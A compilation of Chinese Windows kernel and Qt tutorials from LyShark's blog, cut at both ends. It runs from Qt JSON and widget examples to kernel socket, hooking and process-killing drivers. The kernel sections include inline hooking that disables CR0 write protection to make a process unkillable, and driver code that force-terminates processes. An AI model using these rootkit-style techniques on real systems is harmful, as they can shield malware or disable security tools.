new_json.insert("basic",sub_json); // 将对象插入到原位置上 array_object.insert(insert_index,new_json); // 赋值给根 root["NestingObjectJson"] = array_object; // 将对象设置到根 root_document.setObject(root); // 规范模式 QByteArray root_string_indented = root_document.toJson(QJsonDocument::Indented); // 写配置文件 writeonly_string("d:/indented_config.json",root_string_indented); return a.exec(); }实现修改对象嵌套多层数组下面指定的节点元素,如上配置文件中的ArrayNestingArrayJson既是我们需要解析的内容.// 读取JSON文本 QString readonly_string(QString file_path) QFile this_file_ptr(file_path); if(false == this_file_ptr.exists()) return "None"; // https://www.cnblogs.com/lyshark if(false == this_file_ptr.open(QIODevice::ReadOnly | QIODevice::Text)) return "None"; QString string_value = this_file_ptr.readAll(); this_file_ptr.close(); return string_value; // 写出JSON到文件 bool writeonly_string(QString file_path, QString file_data) QFile this_file_ptr(file_path); if(false == this_file_ptr.open(QIODevice::WriteOnly | QIODevice::Text)) return false; QByteArray write_byte = file_data.toUtf8(); this_file_ptr.write(write_byte,write_byte.length()); this_file_ptr.close(); return true; int main(int argc, char *argv[]) QCoreApplication a(argc, argv); // 读文件 QString readonly_config = readonly_string("d:/config.json"); // 开始解析 解析成功返回QJsonDocument对象否则返回null QJsonParseError err_rpt; QJsonDocument root_document = QJsonDocument::fromJson(readonly_config.toUtf8(), &err_rpt); if (err_rpt.error != QJsonParseError::NoError && !root_document.isNull()) return 0; // 获取根节点 QJsonObject root = root_document.object(); int insert_index = 0; // -------------------------------------------------------------------- // 修改对象中嵌套双层数组 // -------------------------------------------------------------------- // 寻找节点中数组位置 QJsonArray array_object = root.find("ArrayNestingArrayJson").value().toArray(); std::cout << "节点数量: " << array_object.count() << std::endl; for(int index=0; index < array_object.count(); index++) // 循环寻找UUID QJsonObject object = array_object.at(index).toObject(); QString uuid = object.value("telephone").toString(); // 如果找到了则移除该元素 if(uuid == "1323344521") insert_index = index; array_object.removeAt(index); break; // -------------------------------------------------------------------- // 开始新的数组元素 // -------------------------------------------------------------------- QJsonArray array; QJsonArray x,y; // 追加子数组 x.append(11.5); x.append(22.4); x.append(33.6); y.append(56.7); y.append(78.9); y.append(98.4); // 追加到外层数组 array.append(x); array.append(y); // 创建{}对象节点 QJsonObject object; object["telephone"] = "1323344521"; object["path"] = array; // 将对象插入到原位置上 array_object.insert(insert_index,object); // 赋值给根 root["ArrayNestingArrayJson"] = array_object; // 将对象设置到根 root_document.setObject(root); // 规范模式 QByteArray root_string_indented = root_document.toJson(QJsonDocument::Indented); // 写配置文件 writeonly_string("d:/indented_config.json",root_string_indented); return a.exec();

驱动开发:内核封装WSK网络通信接口

本章LyShark将带大家学习如何在内核中使用标准的Socket套接字通信接口,我们都知道Windows应用层下可直接调用WinSocket来实现网络通信,但在内核模式下应用层API接口无法使用,内核模式下有一套专有的WSK通信接口,我们对WSK进行封装,让其与应用层调用规范保持一致,并实现内核与内核直接通过Socket通信的案例。当然在早期如果需要实现网络通信一般都会采用TDI框架,但在新版本Windows10系统上虽然依然可以使用TDI接口,但是LyShark并不推荐使用,因为微软已经对接口搁置了,为了使WSK通信更加易用,我们需要封装内核层中的通信API,新建LySocket.hpp头文件,该文件中封装了WSK通信API接口,其封装格式与应用层接口保持了高度一致,当需要在内核中使用Socket通信时可直接引入本文件。我们需要使用WDM驱动程序,并配置以下参数。配置属性 -> 连接器 -> 输入-> 附加依赖 -> $(DDK_LIB_PATH)\Netio.lib配置属性 -> C/C++ -> 常规 -> 设置 警告等级2级 (警告视为错误关闭)配置好以后,我们就开始吧,先来看看服务端如何实现!对于服务端来说,驱动通信必须保证服务端开启多线程来处理异步请求,不然驱动加载后系统会处于等待状态,而一旦等待则系统将会卡死,那么对于服务端DriverEntry入口说我们不能让其等待,必须使用PsCreateSystemThread来启用系统线程,该函数属于WDM的一部分,官方定义如下;NTSTATUS PsCreateSystemThread( [out] PHANDLE ThreadHandle, [in] ULONG DesiredAccess, [in, optional] POBJECT_ATTRIBUTES ObjectAttributes, [in, optional] HANDLE ProcessHandle, [out, optional] PCLIENT_ID ClientId, [in] PKSTART_ROUTINE StartRoutine, [in, optional] PVOID StartContext );我们使用PsCreateSystemThread函数开辟线程TcpListenWorker在线程内部执行如下流程启动驱动服务端,由于我们自己封装实现了标准接口组,所以使用起来几乎与应用层无任何差异了。CreateSocket 创建套接字Bind 绑定套接字Accept 等待接收请求Receive 用于接收返回值Send 用于发送返回值// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include "LySocket.hpp" PETHREAD m_EThread = NULL; // 线程函数 // PowerBy: LySHark VOID TcpListenWorker(PVOID Context) WSK_SOCKET* paccept_socket = NULL; SOCKADDR_IN LocalAddress = { 0 }; SOCKADDR_IN RemoteAddress = { 0 }; NTSTATUS status = STATUS_UNSUCCESSFUL; // 创建套接字 PWSK_SOCKET TcpSocket = CreateSocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, WSK_FLAG_LISTEN_SOCKET); if (TcpSocket == NULL) return; // 设置绑定地址 LocalAddress.sin_family = AF_INET; LocalAddress.sin_addr.s_addr = INADDR_ANY; LocalAddress.sin_port = HTON_SHORT(8888); status = Bind(TcpSocket, (PSOCKADDR)&LocalAddress); if (!NT_SUCCESS(status)) return; // 循环接收 while (1) CHAR* read_buffer = (CHAR*)ExAllocatePoolWithTag(NonPagedPool, 2048, "read"); paccept_socket = Accept(TcpSocket, (PSOCKADDR)&LocalAddress, (PSOCKADDR)&RemoteAddress); if (paccept_socket == NULL) continue; // 接收数据 memset(read_buffer, 0, 2048); int read_len = Receive(paccept_socket, read_buffer, 2048, 0); if (read_len != 0) DbgPrint("[内核A] => %s \n", read_buffer); // 发送数据 char send_buffer[2048] = "Hi, lyshark.com B"; Send(paccept_socket, send_buffer, strlen(send_buffer), 0); // 接收确认包 memset(read_buffer, 0, 2048); Receive(paccept_socket, read_buffer, 2, 0); // 清理堆 if (read_buffer != NULL) ExFreePool(read_buffer); // 关闭当前套接字 if (paccept_socket) CloseSocket(paccept_socket); if (TcpSocket) CloseSocket(TcpSocket); PsTerminateSystemThread(STATUS_SUCCESS); return; // 关闭套接字 VOID UnDriver(PDRIVER_OBJECT driver) WSKCleanup(); KeWaitForSingleObject(m_EThread, Executive, KernelMode, FALSE, NULL); if (m_EThread != NULL) ObDereferenceObject(m_EThread); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); // 初始化 WSKStartup(); HANDLE hThread = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; // 创建系统线程 status = PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, TcpListenWorker, NULL); if (!NT_SUCCESS(status)) return status; // 获取线程EProcess结构 status = ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&m_EThread, NULL); if (NT_SUCCESS(status) == FALSE) return status; ZwClose(hThread); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }对于客户端来说,只需要创建套接字并连接到指定地址即可,这个过程大体上可以总结为如下;CreateSocket 创建套接字Bind 绑定套接字Connect 链接服务端驱动Send 发送数据到服务端Receive 接收数据到服务端// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include "LySocket.hpp" VOID UnDriver(PDRIVER_OBJECT driver) // 卸载并关闭Socket库 WSKCleanup(); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); // 初始化 WSKStartup(); NTSTATUS status = STATUS_SUCCESS; SOCKADDR_IN LocalAddress = { 0, }; SOCKADDR_IN RemoteAddress = { 0, }; // 创建套接字 PWSK_SOCKET TcpSocket = CreateSocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, WSK_FLAG_CONNECTION_SOCKET); if (TcpSocket == NULL) Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; LocalAddress.sin_family = AF_INET; LocalAddress.sin_addr.s_addr = INADDR_ANY; status = Bind(TcpSocket, (PSOCKADDR)&LocalAddress); // 绑定失败则关闭驱动 if (!NT_SUCCESS(status)) CloseSocket(TcpSocket); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; // 初始化服务端地址与端口信息 ULONG address[4] = { 127, 0, 0, 1 }; RemoteAddress.sin_family = AF_INET; RemoteAddress.sin_addr.s_addr = change_uint(address[0], address[1], address[2], address[3]); RemoteAddress.sin_port = HTON_SHORT(8888); status = Connect(TcpSocket, (PSOCKADDR)&RemoteAddress); // 连接服务端,如果失败则关闭驱动 if (!NT_SUCCESS(status)) CloseSocket(TcpSocket); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; // 发送数据 char send_buffer[2048] = "hello lyshark.com A"; Send(TcpSocket, send_buffer, strlen(send_buffer), 0); // 接收数据 CHAR* read_buffer = (CHAR*)ExAllocatePoolWithTag(NonPagedPool, 2048, "read"); memset(read_buffer, 0, 1024); Receive(TcpSocket, read_buffer, 2048, 0); DbgPrint("[内核B] => %s \n", read_buffer); // 发送确认包 Send(TcpSocket, "ok", 2, 0); // 释放内存 ExFreePool(read_buffer); CloseSocket(TcpSocket); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }编译两个驱动程序,首先运行server.sys驱动,运行后该驱动会在后台等待客户端连接,接着运行client.sys屏幕上可输出如下提示,说明通信已经建立了。

驱动开发:内核层InlineHook挂钩函数

在上一章《驱动开发:内核LDE64引擎计算汇编长度》中,LyShark教大家如何通过LDE64引擎实现计算反汇编指令长度,本章将在此基础之上实现内联函数挂钩,内核中的InlineHook函数挂钩其实与应用层一致,都是使用劫持执行流并跳转到我们自己的函数上来做处理,唯一的不同的是内核Hook只针对内核API函数,但由于其身处在最底层所以一旦被挂钩其整个应用层都将会受到影响,这就直接决定了在内核层挂钩的效果是应用层无法比拟的,对于安全从业者来说学会使用内核挂钩也是很重要。挂钩的原理可以总结为,通过MmGetSystemRoutineAddress得到原函数地址,然后保存该函数的前15个字节的指令,将自己的MyPsLookupProcessByProcessId代理函数地址写出到原始函数上,此时如果有API被调用则默认会转向到我们自己的函数上面执行,恢复原理则是将提前保存好的前15个原始字节写回则恢复原函数的调用。原理很简单,基本上InlineHook类的代码都是一个样子,如下是一段完整的挂钩PsLookupProcessByProcessId的驱动程序,当程序被加载时则默认会保护lyshark.exe进程,使其无法被用户使用任务管理器结束掉。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include "lyshark_lde64.h" #include <ntifs.h> #include <windef.h> #include <intrin.h> #pragma intrinsic(_disable) #pragma intrinsic(_enable) // -------------------------------------------------------------- // 汇编计算方法 // -------------------------------------------------------------- // 计算地址处指令有多少字节 // address = 地址 // bits 32位驱动传入0 64传入64 typedef INT(*LDE_DISASM)(PVOID address, INT bits); LDE_DISASM lde_disasm; // 初始化引擎 VOID lde_init() lde_disasm = ExAllocatePool(NonPagedPool, 12800); memcpy(lde_disasm, szShellCode, 12800); // 得到完整指令长度,避免截断 ULONG GetFullPatchSize(PUCHAR Address) ULONG LenCount = 0, Len = 0; // 至少需要14字节 while (LenCount <= 14) Len = lde_disasm(Address, 64); Address = Address + Len; LenCount = LenCount + Len; return LenCount; // -------------------------------------------------------------- // Hook函数封装 // -------------------------------------------------------------- // 定义指针方便调用 typedef NTSTATUS(__fastcall *PSLOOKUPPROCESSBYPROCESSID)(HANDLE ProcessId, PEPROCESS *Process); ULONG64 protect_eprocess = 0; // 需要保护进程的eprocess ULONG patch_size = 0; // 被修改了几个字节 PUCHAR head_n_byte = NULL; // 前几个字节数组 PVOID original_address = NULL; // 原函数地址 KIRQL WPOFFx64() KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; __writecr0(cr0); _disable(); return irql; VOID WPONx64(KIRQL irql) UINT64 cr0 = __readcr0(); cr0 |= 0x10000; _enable(); __writecr0(cr0); KeLowerIrql(irql); // 动态获取内存地址 PVOID GetProcessAddress(PCWSTR FunctionName) UNICODE_STRING UniCodeFunctionName; RtlInitUnicodeString(&UniCodeFunctionName, FunctionName); return MmGetSystemRoutineAddress(&UniCodeFunctionName); InlineHookAPI 挂钩地址 参数1:待HOOK函数地址 参数2:代理函数地址 参数3:接收原始函数地址的指针 参数4:接收补丁长度的指针 返回:原来头N字节的数据 PVOID KernelHook(IN PVOID ApiAddress, IN PVOID Proxy_ApiAddress, OUT PVOID *Original_ApiAddress, OUT ULONG *PatchSize) KIRQL irql; UINT64 tmpv; PVOID head_n_byte, ori_func; // 保存跳转指令 JMP QWORD PTR [本条指令结束后的地址] UCHAR jmp_code[] = "\xFF\x25\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"; // 保存原始指令 UCHAR jmp_code_orifunc[] = "\xFF\x25\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"; // 获取函数地址处指令长度 *PatchSize = GetFullPatchSize((PUCHAR)ApiAddress); // 分配空间 head_n_byte = ExAllocatePoolWithTag(NonPagedPool, *PatchSize, "LyShark"); irql = WPOFFx64(); // 跳转地址拷贝到原函数上 RtlCopyMemory(head_n_byte, ApiAddress, *PatchSize); WPONx64(irql); // 构建跳转 // 1.原始机器码+跳转机器码 ori_func = ExAllocatePoolWithTag(NonPagedPool, *PatchSize + 14, "LyShark"); RtlFillMemory(ori_func, *PatchSize + 14, 0x90); // 2.跳转到没被打补丁的那个字节 tmpv = (ULONG64)ApiAddress + *PatchSize; RtlCopyMemory(jmp_code_orifunc + 6, &tmpv, 8); RtlCopyMemory((PUCHAR)ori_func, head_n_byte, *PatchSize); RtlCopyMemory((PUCHAR)ori_func + *PatchSize, jmp_code_orifunc, 14); *Original_ApiAddress = ori_func; // 3.得到代理地址 tmpv = (UINT64)Proxy_ApiAddress; RtlCopyMemory(jmp_code + 6, &tmpv, 8); //4.打补丁 irql = WPOFFx64(); RtlFillMemory(ApiAddress, *PatchSize, 0x90); RtlCopyMemory(ApiAddress, jmp_code, 14); WPONx64(irql); return head_n_byte; InlineHookAPI 恢复挂钩地址 参数1:被HOOK函数地址 参数2:原始数据 参数3:补丁长度 VOID KernelUnHook(IN PVOID ApiAddress, IN PVOID OriCode, IN ULONG PatchSize) KIRQL irql; irql = WPOFFx64(); RtlCopyMemory(ApiAddress, OriCode, PatchSize); WPONx64(irql); // 实现我们自己的代理函数 NTSTATUS MyPsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process) NTSTATUS st; st = ((PSLOOKUPPROCESSBYPROCESSID)original_address)(ProcessId, Process); if (NT_SUCCESS(st)) // 判断是否是需要保护的进程 if (*Process == (PEPROCESS)protect_eprocess) *Process = 0; DbgPrint("[lyshark] 拦截结束进程 \n"); st = STATUS_ACCESS_DENIED; return st; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("驱动已卸载 \n"); // 恢复Hook KernelUnHook(GetProcessAddress(L"PsLookupProcessByProcessId"), head_n_byte, patch_size); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); // 初始化反汇编引擎 lde_init(); // 设置需要保护进程EProcess lyshark.com: kd> !process 0 0 lyshark.exe PROCESS ffff9a0a44ec4080 SessionId: 1 Cid: 05b8 Peb: 0034d000 ParentCid: 13f0 DirBase: 12a7d2002 ObjectTable: ffffd60bc036f080 HandleCount: 159. Image: lyshark.exe protect_eprocess = 0xffff9a0a44ec4080; // Hook挂钩函数 head_n_byte = KernelHook(GetProcessAddress(L"PsLookupProcessByProcessId"), (PVOID)MyPsLookupProcessByProcessId, &original_address, &patch_size); DbgPrint("[lyshark] 挂钩保护完成 --> 修改字节: %d | 原函数地址: 0x%p \n", patch_size, original_address); for (size_t i = 0; i < patch_size; i++) DbgPrint("[byte] = %x", head_n_byte[i]); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }运行这段驱动程序,会输出挂钩保护的具体地址信息;使用WinDBG观察,会发现挂钩后原函数已经被替换掉了,而被替换的地址就是我们自己的MyPsLookupProcessByProcessId函数。当你尝试使用任务管理器结束掉lyshark.exe进程时,则会提示拒绝访问。参考文献https://www.docin.com/p-1508418694.html

C/C++ Qt StatusBar 底部状态栏应用

Qt窗体中默认会附加一个QstatusBar组件,状态栏组件位于主窗体的最下方,其作用是提供一个工具提示功能,当程序中有提示信息是可以动态的显示在这个区域内,状态栏组件内可以增加任何Qt中的通用组件,只需要通过addWidget函数动态追加即可引入到底部,底部状态栏在实际开发中应用非常普遍,以下代码是对该组件基本使用方法的总结。首先我们通过new新增3个QLabel组件,并将该组件依次排列在底部状态栏内,实现代码如下所示:#include "mainwindow.h" #include "ui_mainwindow.h" #include <QLabel> MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) ui->setupUi(this); // 初始化状态栏 QLabel *labCellIndex = new QLabel("当前坐标: 0.0",this); labCellIndex->setMinimumWidth(250); QLabel *labCellType=new QLabel("单元格类型: null",this); labCellType->setMinimumWidth(200); QLabel *labStudID=new QLabel("学生ID: 0",this); labStudID->setMinimumWidth(200); // 将初始化的标签添加到底部状态栏上 ui->statusBar->addWidget(labCellIndex); ui->statusBar->addWidget(labCellType); ui->statusBar->addWidget(labStudID); MainWindow::~MainWindow() delete ui; }运行代码效果如下:QLabel组件除了可以增加提示信息以外,通过设置setOpenExternalLinks可以将这个组件设置为以链接形式出现,有利于我们增加网页跳转等功能。#include "mainwindow.h" #include "ui_mainwindow.h" #include <QLabel> MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) ui->setupUi(this); // 隐藏状态栏下方三角形 ui->statusBar->setSizeGripEnabled(false); // 新增标签栏 QLabel *label_url = new QLabel(this); QLabel *label_about = new QLabel(this); // 配置连接 label_url->setFrameStyle(QFrame::Box | QFrame::Sunken); label_url->setText(tr("<a href=\"https://lyshark.cnblogs.com\">访问主页</a>")); label_url->setOpenExternalLinks(true); label_about->setFrameStyle(QFrame::Box | QFrame::Sunken); label_about->setText(tr("<a href=\"https://lyshark.cnblogs.com\">关于我</a>")); label_about->setOpenExternalLinks(true); // 将信息增加到底部(永久添加) ui->statusBar->addPermanentWidget(label_url); ui->statusBar->addPermanentWidget(label_about); MainWindow::~MainWindow() delete ui; }运行代码效果如下:同理,只要是通用组件都可以被安置到底部菜单栏,如果我们需要增加进度条组件只需要这样写:#include "mainwindow.h" #include "ui_mainwindow.h" #include <QLabel> #include <QProgressBar> QProgressBar *pro; MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) ui->setupUi(this); pro = new QProgressBar(this); // 自动计算 ui->statusBar->addPermanentWidget(pro, 1); // 设置进度是否显示 pro->setTextVisible(true); // 设置初始化进度位置 pro->setValue(0); MainWindow::~MainWindow() delete ui; void MainWindow::on_pushButton_clicked() qint32 count = pro->value(); count = count +10; pro->setValue(count); }运行代码效果如下:接着我们增加一个tablewidget并初始化参数,tableWidget组件存在一个on_tableWidget_currentCellChanged属性,该属性的作用是,只要Table表格存在变化则会触发,当用户选择不同的表格,我们可以将当前表格行列自动设置到状态栏中,从而实现同步状态栏消息提示,起到时刻动态显示的作用。#include "mainwindow.h" #include "ui_mainwindow.h" #include <QLabel> #include <QTableWidget> #include <QTableWidgetItem> QLabel *labCellIndex; MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) ui->setupUi(this); // ------------------------------------------------------------------------------------ // 初始化状态栏 labCellIndex = new QLabel("当前坐标: 0.0",this); labCellIndex->setMinimumWidth(250); // 将初始化的标签添加到底部状态栏上 ui->statusBar->addWidget(labCellIndex); // ------------------------------------------------------------------------------------ // 填充数据,对表格进行初始化操作 QStringList header; header << "姓名" << "性别" << "年龄"; ui->tableWidget->setColumnCount(header.size()); // 设置表格的列数 ui->tableWidget->setHorizontalHeaderLabels(header); // 设置水平头 ui->tableWidget->setRowCount(5); // 设置总行数 ui->tableWidget->setEditTriggers(QAbstractItemView::NoEditTriggers); // 设置表结构默认不可编辑 // 填充数据 QStringList NameList; NameList << "lyshark A" << "lyshark B" << "lyshark C"; QStringList SexList; SexList << "男" << "男" << "女"; qint32 AgeList[3] = {22,23,43}; // 针对获取元素使用 NameList[x] 和使用 NameList.at(x)效果相同 for(int x=0;x< 3;x++) int col =0; // 添加姓名 ui->tableWidget->setItem(x,col++,new QTableWidgetItem(NameList[x])); // 添加性别 ui->tableWidget->setItem(x,col++,new QTableWidgetItem(SexList.at(x))); // 添加年龄 ui->tableWidget->setItem(x,col++,new QTableWidgetItem( QString::number(AgeList[x]) ) ); // 当前选择单元格发生变化时触发响应事件,也就是将底部状态栏标签设置 // https://www.cnblogs.com/lyshark void MainWindow::on_tableWidget_currentCellChanged(int currentRow, int currentColumn, int previousRow, int previousColumn) Q_UNUSED(previousRow); Q_UNUSED(previousColumn); // 显示行与列的变化数值 //std::cout << "currentRow = " << currentRow << " currentColumn = " << currentColumn << std::endl; //std::cout << "pre Row = " << previousRow << " pre Column = " << previousColumn << std::endl; // 获取当前单元格的Item QTableWidgetItem *item = ui->tableWidget->item(currentRow,currentColumn); if(item == NULL) return; // 设置单元格坐标 labCellIndex->setText(QString::asprintf("当前坐标: %d 行 | %d 列",currentRow,currentColumn)); MainWindow::~MainWindow() delete ui; }运行代码效果如下:

C/C++ Qt TabWidget 实现多窗体创建

在开发窗体应用时通常会伴随分页,TabWidget组件配合自定义Dialog组件,可实现一个复杂的多窗体分页结构,此类结构也是ERP等软件通用的窗体布局方案。首先先来实现一个只有TabWidget分页的简单结构,如下窗体布局,布局中空白部分是一个TabWidget组件,下方是一个按钮,当用户点击按钮时,自动将该窗体新增到TabWidget组件中。该页面关联代码如下所示,当用户点击on_pushButton_clicked()时自动新增一个窗体并将窗体的Tab设置为指定的IP地址。#include "mainwindow.h" #include "ui_mainwindow.h" #include <iostream> MainWindow::MainWindow(QWidget *parent): QMainWindow(parent), ui(new Ui::MainWindow) ui->setupUi(this); ui->tabWidget->setVisible(false); ui->tabWidget->clear();//清除所有页面 ui->tabWidget->tabsClosable(); //Page有关闭按钮,可被关闭 MainWindow::~MainWindow() delete ui; // 定义函数来获取当前Table名字 QString MainWindow::GetTableNumber() QString ref = QString(ui->tabWidget->currentIndex()); return ref; // https://www.cnblogs.com/lyshark void MainWindow::on_pushButton_clicked() FormDoc *ptr = new FormDoc(this); // 新建选项卡 ptr->setAttribute(Qt::WA_DeleteOnClose); // 关闭时自动销毁 int cur = ui->tabWidget->addTab(ptr,QString::asprintf(" 192.168.1.%d",ui->tabWidget->count())); ui->tabWidget->setTabIcon(cur,QIcon(":/image/1.ico")); ui->tabWidget->setCurrentIndex(cur); ui->tabWidget->setVisible(true); // 关闭Tab时执行 void MainWindow::on_tabWidget_tabCloseRequested(int index) if (index<0) return; QWidget* aForm=ui->tabWidget->widget(index); aForm->close(); // 在无Tab页面是默认禁用 void MainWindow::on_tabWidget_currentChanged(int index) Q_UNUSED(index); bool en=ui->tabWidget->count()>0; ui->tabWidget->setVisible(en); }其中的每一个Dialog子窗体,都需要动态获取父窗体指针,当需要操作时则可以根据指针对自身进行操作,子窗体代码如下.#include "formdoc.h" #include "ui_formdoc.h" #include "mainwindow.h" #include <QVBoxLayout> #include <iostream> FormDoc::FormDoc(QWidget *parent) : QWidget(parent), ui(new Ui::FormDoc) ui->setupUi(this); QVBoxLayout *Layout = new QVBoxLayout(); Layout->setContentsMargins(2,2,2,2); Layout->setSpacing(2); this->setLayout(Layout); MainWindow *parWind = (MainWindow*)parentWidget(); //获取父窗口指针 QString ref = parWind->GetTableNumber(); // 获取选中标签索引 std::cout << ref.toStdString().data() << std::endl; // By: LyShark FormDoc::~FormDoc() delete ui; }代码运行效果如下:Tab组件如果配合ToolBar组件可以实现更多有意思的功能,例如下面这个案例:

驱动开发:内核强制结束进程运行

通常使用Windows系统自带的任务管理器可以正常地结束掉一般进程,而某些特殊的进程在应用层很难被结束掉,例如某些系统核心进程其权限是在0环内核态,但有时我们不得不想办法结束掉这些特殊的进程,当然某些正常进程在特殊状态下也会无法被正常结束,此时使用驱动前行在内核态将其结束掉就变得很有用了,驱动结束进程有多种方法。1.标准方法就是使用ZwOpenProcess打开进程获得句柄,然后使用ZwTerminateProcess这个内核API实现结束进程,最后使用ZwClose关闭句柄。2.第二种方法,通过动态定位的方式找到PspTerminateThreadByPointer这个内核函数地址,然后调用该函数结束掉进程中所有的线程,当线程为空则进程也就消亡了。3.第三种方法,我将其称作是内存清零法,其核心原理是通过打开进程,得到进程的基址,通过内存填充的方式将对端内存全部置0实现类似于结束的效果。首先是第一种方法结束进程,封装实现KillProcess函数,用户传入lyshark.exe进程名,进程内执行PsGetProcessImageFileName判断是否是我们要结束的如果是则,调用ZwOpenProcess打开进程,并发送ZwTerminateProcess终止信号从而正常结束,其核心代码如下所示。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> NTKERNELAPI UCHAR* PsGetProcessImageFileName(IN PEPROCESS Process); // 根据进程ID返回进程EPROCESS结构体,失败返回NULL PEPROCESS GetProcessNameByProcessId(HANDLE pid) PEPROCESS ProcessObj = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; Status = PsLookupProcessByProcessId(pid, &ProcessObj); if (NT_SUCCESS(Status)) return ProcessObj; return NULL; // 根据ProcessName获取到进程的PID号 HANDLE GetPidByProcessName(char *ProcessName) PEPROCESS pCurrentEprocess = NULL; HANDLE pid = 0; for (int i = 0; i < 1000000000; i += 4) pCurrentEprocess = GetProcessNameByProcessId((HANDLE)i); if (pCurrentEprocess != NULL) pid = PsGetProcessId(pCurrentEprocess); if (strstr(PsGetProcessImageFileName(pCurrentEprocess), ProcessName) != NULL) ObDereferenceObject(pCurrentEprocess); return pid; ObDereferenceObject(pCurrentEprocess); return (HANDLE)-1; // 传入进程名称,终止掉该进程 BOOLEAN KillProcess(PCHAR ProcessName) PEPROCESS pCurrentEprocess = NULL; HANDLE pid = 0; HANDLE Handle = NULL; OBJECT_ATTRIBUTES obj; CLIENT_ID cid = { 0 }; NTSTATUS Status = STATUS_UNSUCCESSFUL; for (int i = 0; i < 10000000; i += 4) pCurrentEprocess = GetProcessNameByProcessId((HANDLE)i); if (pCurrentEprocess != NULL) pid = PsGetProcessId(pCurrentEprocess); // 判断当前镜像名称是否是需要结束的进程 if (strstr(PsGetProcessImageFileName(pCurrentEprocess), ProcessName) != NULL) ObDereferenceObject(pCurrentEprocess); // 找到后开始结束 InitializeObjectAttributes(&obj, NULL, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL); cid.UniqueProcess = (HANDLE)pid; cid.UniqueThread = 0; // 打开进程 Status = ZwOpenProcess(&Handle, GENERIC_ALL, &obj, &cid); if (NT_SUCCESS(Status)) // 发送终止信号 ZwTerminateProcess(Handle, 0); ZwClose(Handle); ZwClose(Handle); return TRUE; ObDereferenceObject(pCurrentEprocess); return FALSE; VOID UnDriver(PDRIVER_OBJECT driver) DbgPrint("驱动已卸载 \n"); NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) DbgPrint("hello lyshark.com \n"); BOOLEAN Retn; Retn = KillProcess("lyshark.exe"); DbgPrint("结束状态: %d \n", Retn); Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }我们运行这个驱动,当进程lyshark.exe存在时则可以看到结束效果,当然这种方式只是在内核层面调用了结束进程函数,其本质上还是正常结束,只是这种方式权限要大一些仅此而已。第二种方法,其原理就是将进程内的线程全部结束掉从而让进程自动结束,由于PspTerminateThreadByPointer没有被导出,所以我们需要动态的这个内存地址,然后动态调用即可,这个寻找方法可以总结为以下步骤。1.寻找PsTerminateSystemThread函数地址,这个地址可以直接通过MmGetSystemRoutineAddress函数得到。2.在PsTerminateSystemThread函数地址内向下扫描特征e80cb6f6ff得到call nt!PspTerminateThreadByPointer地址。根据《驱动开发:内核枚举LoadImage映像回调》中使用的SearchMemory函数实现搜索PspTerminateThreadByPointer内存地址。// 署名权 // right to sign one's name on a piece of work // PowerBy: LyShark // Email: me@lyshark.com #include <ntifs.h> // 得到PspTerminateThreadByPointer内存地址 PVOID PspTerminateThreadByPointer() UNICODE_STRING ustrFuncName; PVOID pAddress = NULL; LONG lOffset = 0; PVOID pPsTerminateSystemThread = NULL; PVOID pPspTerminateThreadByPointer = NULL; // 获取 PsTerminateSystemThread 函数地址 RtlInitUnicodeString(&ustrFuncName, L"PsTerminateSystemThread"); pPsTerminateSystemThread = MmGetSystemRoutineAddress(&ustrFuncName); DbgPrint("pPsTerminateSystemThread = 0x%p \n", pPsTerminateSystemThread); if (NULL == pPsTerminateSystemThread) return 0; // 查找 PspTerminateThreadByPointer 函数地址 1: kd> uf PsTerminateSystemThread nt!PsTerminateSystemThread: fffff802`254e6a90 4883ec28 sub rsp,28h fffff802`254e6a94 8bd1 mov edx,ecx fffff802`254e6a96 65488b0c2588010000 mov rcx,qword ptr gs:[188h] fffff802`254e6a9f f7417400040000 test dword ptr [rcx+74h],400h fffff802`254e6aa6 0f8444081100 je nt!PsTerminateSystemThread+0x110860 (fffff802`255f72f0) Branch nt!PsTerminateSystemThread+0x1c: fffff802`254e6aac 41b001 mov r8b,1 fffff802`254e6aaf e80cb6f6ff call nt!PspTerminateThreadByPointer (fffff802`254520c0) nt!PsTerminateSystemThread+0x24: fffff802`254e6ab4 4883c428 add rsp,28h fffff802`254e6ab8 c3 ret nt!PsTerminateSystemThread+0x110860: fffff802`255f72f0 b80d0000c0 mov eax,0C000000Dh fffff802`255f72f5 e9baf7eeff jmp 